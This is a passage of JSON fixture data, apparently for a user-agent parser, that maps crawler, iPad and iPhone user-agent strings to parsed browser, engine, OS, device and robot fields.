"browser_minor" : ".1", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_string" : "PageAnalyzer", "robot_version" : "1.1" }, "Mozilla/5.0 (compatible; Pagespeed/1.1 Fetcher; +http://www.pagespeed.de)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "Pagespeed/1.1 Fetcher" }, "Mozilla/5.0 (compatible; PaperLiBot/2.1; http://support.paper.li/entries/20023257-what-is-paper-li)" : { "browser_major" : "2", "browser_minor" : ".1", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".1", "robot_name" : "PaperLiBot", "robot_version" : "2.1" }, "Mozilla/5.0 (compatible; SEOkicks-Robot; +http://www.seokicks.de/robot.html)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "SEOkicks-Robot" }, "Mozilla/5.0 (compatible; SMTBot/1.0; +http://www.similartech.com/smtbot)" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "SMTBot", "robot_version" : "1.0" }, "Mozilla/5.0 (compatible; SearchmetricsBot; http://www.searchmetrics.com/en/searchmetrics-bot/)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "SearchmetricsBot" }, "Mozilla/5.0 (compatible; Seznam screenshot-generator 2.1; +http://fulltext.sblog.cz/screenshot/)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_string" : "Seznam screenshot-generator 2.1" }, "Mozilla/5.0 (compatible; SeznamBot/3.2; +http://fulltext.sblog.cz/)" : { "browser_major" : "3", "browser_minor" : ".2", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "3", "robot_minor" : ".2", "robot_name" : "SeznamBot", "robot_version" : "3.2" }, "Mozilla/5.0 (compatible; U; Hootsuite-WebFeed/1.0; mailto:abuse@hootsuite.com)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [], "robot" : 0 }, "Mozilla/5.0 (compatible; XoviBot/2.0; +http://www.xovibot.net/)" : { "browser_major" : "2", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "XoviBot", "robot_version" : "2.0" }, "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot", "slurp", "yahoo" ], "robot" : "slurp", "robot_name" : "Yahoo! Slurp" }, "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" : { "browser_major" : "3", "browser_minor" : ".0", "match" : [ "robot", "yandex" ], "robot" : "yandex", "robot_beta" : "", "robot_major" : "3", "robot_minor" : ".0", "robot_name" : "Yandex", "robot_version" : "3.0" }, "Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)" : { "browser_major" : "3", "browser_minor" : ".0", "match" : [ "robot", "yandeximages" ], "robot" : "yandeximages", "robot_beta" : "", "robot_major" : "3", "robot_minor" : ".0", "robot_name" : "YandexImages", "robot_version" : "3.0" }, "Mozilla/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http://archive.org/details/archive.org_bot)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "Wayback Machine Live Record" }, "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" : { "browser_major" : "2", "browser_minor" : ".0", "match" : [ "robot", "bingbot" ], "robot" : "bingbot", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "Bingbot", "robot_version" : "2.0" }, "Mozilla/5.0 (compatible; bingbot/3.0-alpha; +http://www.bing.com/bingbot.htm)" : { "browser_beta" : "-alpha", "browser_major" : "3", "browser_minor" : ".0", "match" : [ "robot", "bingbot" ], "robot" : "bingbot", "robot_name" : "Bingbot" }, "Mozilla/5.0 (compatible; coccoc/1.0; +http://help.coccoc.com/)" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_string" : "coccoc", "robot_version" : "1.0" }, "Mozilla/5.0 (compatible; heritrix/3.1.1 +http://www.baidu.com)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : ".1", "robot_major" : "3", "robot_minor" : ".1", "robot_string" : "heritrix", "robot_version" : "3.1" }, "Mozilla/5.0 (compatible; linkdexbot/2.2; +http://www.linkdex.com/bots/)" : { "browser_major" : "2", "browser_minor" : ".2", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".2", "robot_name" : "linkdexbot", "robot_version" : "2.2" }, "Mozilla/5.0 (compatible; meanpathbot/1.0; +http://www.meanpath.com/meanpathbot.html)" : { "browser_major" : "1", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "meanpathbot", "robot_version" : "1.0" }, "Mozilla/5.0 (compatible; oBot/2.3.1; http://filterdb.iss.net/crawler/)" : { "browser_beta" : ".1", "browser_major" : "2", "browser_minor" : ".3", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : ".1", "robot_major" : "2", "robot_minor" : ".3", "robot_name" : "oBot", "robot_version" : "2.3" }, "Mozilla/5.0 (compatible; pmoz.info ODP link checker; +http://pmoz.info/doc/botinfo.htm)" : { "browser_major" : "5", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "pmoz.info ODP link checker" }, "Mozilla/5.0 (compatible; spbot/4.4.2; +http://OpenLinkProfiler.org/bot )" : { "browser_beta" : ".2", "browser_major" : "4", "browser_minor" : ".4", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : ".2", "robot_major" : "4", "robot_minor" : ".4", "robot_name" : "spbot", "robot_version" : "4.4" }, "Mozilla/5.0 (en-us) AppleWebKit/534.14 (KHTML, like Gecko; Google Wireless Transcoder) Chrome/9.0.597 Safari/534.14" : { "browser" : "chrome", "browser_beta" : ".597", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".14", "engine_string" : "WebKit", "engine_version" : "534.14", "language" : "EN", "match" : [ "chrome", "webkit" ], "robot" : 0 }, "Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3" : { "browser" : "safari", "browser_major" : "5", "browser_minor" : ".1", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".46", "engine_string" : "WebKit", "engine_version" : "534.46", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : ".1", "os_major" : "5", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "5.0", "robot" : 0 }, "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3" : { "browser" : "safari", "browser_major" : "5", "browser_minor" : ".1", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".46", "engine_string" : "WebKit", "engine_version" : "534.46", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : ".1", "os_major" : "5", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "5.1", "robot" : 0 }, "Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25" : { "browser" : "safari", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".26", "engine_string" : "WebKit", "engine_version" : "536.26", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : "", "os_major" : "6", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "6.0", "robot" : 0 }, "Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25" : { "beta" : ".25", "browser" : "safari", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".26", "engine_string" : "WebKit", "engine_version" : "536.26", "major" : 85, "match" : [ "device", "ios", "ipad", "tablet", "webkit", "safari" ], "minor" : ".36", "os" : "ios", "os_beta" : ".1", "os_major" : "6", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "6.0", "public_major" : "6", "public_minor" : ".0", "public_version" : 6, "version" : 85.36 }, "Mozilla/5.0 (iPad; CPU OS 6_0_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A8500 Safari/8536.25" : { "browser" : "safari", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".26", "engine_string" : "WebKit", "engine_version" : "536.26", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : ".2", "os_major" : "6", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "6.0", "robot" : 0 }, "Mozilla/5.0 (iPad; CPU OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) GSA/3.2.1.25875 Mobile/10B329 Safari/8536.25" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".26", "engine_string" : "WebKit", "engine_version" : "536.26", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : ".3", "os_major" : "6", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "6.1", "robot" : 0 }, "Mozilla/5.0 (iPad; CPU OS 7_0_3 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B511 Safari/9537.53" : { "beta" : ".53", "browser" : "safari", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "major" : 95, "match" : [ "device", "ios", "ipad", "tablet", "webkit", "safari" ], "minor" : ".37", "os" : "ios", "os_beta" : ".3", "os_major" : "7", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "7.0", "public_major" : "7", "public_minor" : ".0", "public_version" : 7, "version" : 95.37 }, "Mozilla/5.0 (iPad; CPU OS 7_0_6 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B651 Safari/9537.53" : { "browser" : "safari", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : ".6", "os_major" : "7", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "7.0", "robot" : 0 }, "Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D201 Safari/9537.53" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : ".1", "os_major" : "7", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "7.1", "robot" : 0 }, "Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53" : { "beta" : ".53", "browser" : "safari", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".2", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "major" : 95, "match" : [ "device", "ios", "ipad", "tablet", "webkit", "safari" ], "minor" : ".37", "os" : "ios", "os_beta" : ".1", "os_major" : "7", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "7.1", "public_major" : "7", "public_minor" : ".0", "public_version" : 7, "version" : 95.37 }, "Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) GSA/5.2.43972 Mobile/11D257 Safari/9537.53" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".2", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : ".2", "os_major" : "7", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "7.1", "robot" : 0 }, "Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53" : { "beta" : ".53", "browser" : "safari", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".2", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "major" : 95, "match" : [ "device", "ios", "ipad", "tablet", "webkit", "safari" ], "minor" : ".37", "os" : "ios", "os_beta" : ".2", "os_major" : "7", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "7.1", "public_major" : "7", "public_minor" : ".0", "public_version" : 7, "version" : 95.37 }, "Mozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A405 Safari/600.1.4" : { "beta" : ".1", "browser" : "safari", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "major" : 6, "match" : [ "device", "ios", "ipad", "tablet", "webkit", "safari" ], "minor" : ".0", "os" : "ios", "os_beta" : ".2", "os_major" : "8", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "8.0", "public_major" : "8", "public_minor" : ".0", "public_version" : 8, "version" : 6 }, "Mozilla/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4" : { "beta" : ".1", "browser" : "safari", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "major" : 6, "match" : [ "device", "ios", "ipad", "tablet", "webkit", "safari" ], "minor" : ".0", "os" : "ios", "os_beta" : "", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "public_major" : "8", "public_minor" : ".0", "public_version" : 8, "version" : 6 }, "Mozilla/5.0 (iPad; CPU OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B435 Safari/600.1.4" : { "beta" : ".1", "browser" : "safari", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "major" : 6, "match" : [ "device", "ios", "ipad", "tablet", "webkit", "safari" ], "minor" : ".0", "os" : "ios", "os_beta" : ".1", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "public_major" : "8", "public_minor" : ".0", "public_version" : 8, "version" : 6 }, "Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4" : { "beta" : ".1", "browser" : "safari", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "major" : 6, "match" : [ "device", "ios", "ipad", "tablet", "webkit", "safari" ], "minor" : ".0", "os" : "ios", "os_beta" : ".2", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "public_major" : "8", "public_minor" : ".0", "public_version" : 8, "version" : 6 }, "Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/40.0.2214.69 Mobile/12B466 Safari/600.1.4" : { "browser" : "chrome", "browser_string" : "Chrome", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "chrome", "device", "ios", "ipad", "tablet", "webkit" ], "os" : "ios", "os_beta" : ".3", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "public_beta" : ".2214.69", "public_major" : "40", "public_minor" : ".0" }, "Mozilla/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/40.0.2214.73 Mobile/12B466 Safari/600.1.4" : { "browser" : "chrome", "browser_beta" : ".2214.73", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "ipad", "tablet", "chrome", "webkit" ], "os" : "ios", "os_beta" : ".3", "os_major" : "8", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "8.1", "robot" : 0 }, "Mozilla/5.0 (iPad; CPU OS 8_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12D508 Safari/600.1.4" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : "", "os_major" : "8", "os_minor" : ".2", "os_string" : "iOS", "os_version" : "8.2", "robot" : 0 }, "Mozilla/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10" : { "browser" : "safari", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "Safari", "country" : "US", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".10", "engine_major" : "531", "engine_minor" : ".21", "engine_string" : "WebKit", "engine_version" : "531.21", "language" : "EN", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : ".2", "os_major" : "3", "os_minor" : ".2", "os_string" : "iOS", "os_version" : "3.2", "robot" : 0 }, "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5" : { "browser" : "safari", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Safari", "country" : "US", "device" : "ipad", "device_string" : "iPad", "engine" : "webkit", "engine_beta" : ".9", "engine_major" : "533", "engine_minor" : ".17", "engine_string" : "WebKit", "engine_version" : "533.17", "language" : "EN", "match" : [ "device", "ios", "ipad", "tablet", "safari", "webkit" ], "os" : "ios", "os_beta" : ".1", "os_major" : "4", "os_minor" : ".2", "os_string" : "iOS", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B208 Safari/7534.48.3" : { "browser" : "safari", "browser_major" : "5", "browser_minor" : ".1", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : "", "engine_major" : "534", "engine_minor" : ".46", "engine_string" : "WebKit", "engine_version" : "534.46", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".1", "os_major" : "5", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "5.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" : { "browser" : "safari", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".26", "engine_string" : "WebKit", "engine_version" : "536.26", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit", "robot", "google" ], "os" : "ios", "os_beta" : "", "os_major" : "6", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "6.0", "robot" : "google", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".1", "robot_name" : "Googlebot", "robot_version" : "2.1" }, "Mozilla/5.0 (iPhone; CPU iPhone OS 6_1_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B146 Safari/8536.25" : { "browser" : "safari", "browser_major" : "6", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".26", "engine_string" : "WebKit", "engine_version" : "536.26", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".2", "os_major" : "6", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "6.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53 (compatible; bingbot/2.0; http://www.bing.com/bingbot.htm)" : { "browser" : "safari", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit", "robot", "bingbot" ], "os" : "ios", "os_beta" : "", "os_major" : "7", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "7.0", "robot" : "bingbot", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".0", "robot_name" : "Bingbot", "robot_version" : "2.0" }, "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) GSA/3.1.0.23513 Mobile/11A501 Safari/8536.25" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : "", "engine_major" : "536", "engine_minor" : ".26", "engine_string" : "WebKit", "engine_version" : "536.26", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".2", "os_major" : "7", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "7.0", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_3 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.2.1.37597 Mobile/11B511 Safari/9537.53" : { "browser" : "safari", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".3", "os_major" : "7", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "7.0", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Mobile/11B554a [FBAN/FBIOS;FBAV/13.0.0.25.19;FBBV/3507499;FBDV/iPhone6,1;FBMD/iPhone;FBSN/iPhone OS;FBSV/7.0.4;FBSS/2; FBCR/AT&T;FBID/phone;FBLC/en_US;FBOP/5]" : { "browser" : "safari", "browser_beta" : ".51", "browser_major" : 5, "browser_minor" : ".37", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".4", "os_major" : "7", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "7.0", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53" : { "browser" : "safari", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".1", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".4", "os_major" : "7", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "7.0", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53" : { "browser" : "safari", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".2", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : "", "os_major" : "7", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "7.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53" : { "browser" : "safari", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".2", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".1", "os_major" : "7", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "7.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53" : { "browser" : "safari", "browser_major" : "7", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".2", "engine_major" : "537", "engine_minor" : ".51", "engine_string" : "WebKit", "engine_version" : "537.51", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : ".2", "os_major" : "7", "os_minor" : ".1", "os_string" : "iOS", "os_version" : "7.1", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A365 Safari/600.1.4" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : "iPhone", "engine" : "webkit", "engine_beta" : ".4", "engine_major" : "600", "engine_minor" : ".1", "engine_string" : "WebKit", "engine_version" : "600.1", "match" : [ "device", "ios", "iphone", "mobile", "safari", "webkit" ], "os" : "ios", "os_beta" : "", "os_major" : "8", "os_minor" : ".0", "os_string" : "iOS", "os_version" : "8.0", "robot" : 0 }, "Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A405 Safari/600.1.4" : { "browser" : "safari", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "Safari", "device" : "iphone", "device_string" : 